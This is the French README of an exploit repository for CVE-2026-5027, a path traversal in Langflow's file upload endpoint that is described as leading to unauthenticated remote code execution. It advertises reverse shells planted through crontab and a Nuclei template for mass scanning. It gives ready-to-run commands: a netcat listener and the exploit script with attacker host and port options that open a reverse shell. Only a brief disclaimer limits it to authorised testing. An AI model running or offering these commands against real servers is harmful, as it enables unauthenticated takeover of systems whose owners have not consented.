🔥 CVE-2026-5027 - Traversée de Chemin Langflow

Écriture Arbitraire de Fichier menant à une RCE
Exécution de Code à Distance non authentifiée via Téléchargement de Fichier

📌 Aperçu

Langflow souffre d'une vulnérabilité critique de traversée de chemin dans le point de terminaison de téléchargement de fichier (POST /api/v2/files).

Un attaquant peut envoyer un nom de fichier malveillant contenant des séquences ../ pour écrire des fichiers arbitraires n'importe où sur le système de fichiers du serveur.

Cela mène facilement à une exécution de code à distance complète (RCE) — par exemple en déposant une webshell ou en injectant dans crontab.

🛠️ Fonctionnalités

• ✅ Exploitation non authentifiée (configurations avec connexion automatique par défaut)
• ✅ Preuve de concept simple (écrit un fichier test dans /tmp)
• ✅ Shell inversé complet via cron (Linux)
• ✅ Modèle Nuclei inclus pour le scan de masse
• ✅ Profondeur de traversée facile à personnaliser

🚀 Démarrage Rapide

1. Preuve de Concept (Test Sécurisé)

python3 CVE-2026-5027.py -t http://target:7860/ --proof

Sortie attendue si vulnérable:

[+] Success! File written: ../../../tmp/CVE-2026-5027-proof.txt

2. Shell Inversé Complet

# Démarrer l'écouteur
nc -lvnp 4444

# Exécuter l'exploit
python3 CVE-2026-5027.py -t http://target:7860/ --lhost YOUR_IP --lport 4444

📁 Contenu du Dépôt

🎯 Exemples d'Utilisation

Mode Preuve

python3 CVE-2026-5027.py -t http://target.com/ --proof

Mode Shell Inversé

python3 CVE-2026-5027.py -t http://target.com/ --lhost 192.168.1.100 --lport 4444

⚠️ Avertissement

Ce dépôt est destiné uniquement à des fins éducatives et de tests de sécurité autorisés.

Utilisez-le de manière responsable et uniquement sur des systèmes pour lesquels vous avez une autorisation explicite de tester.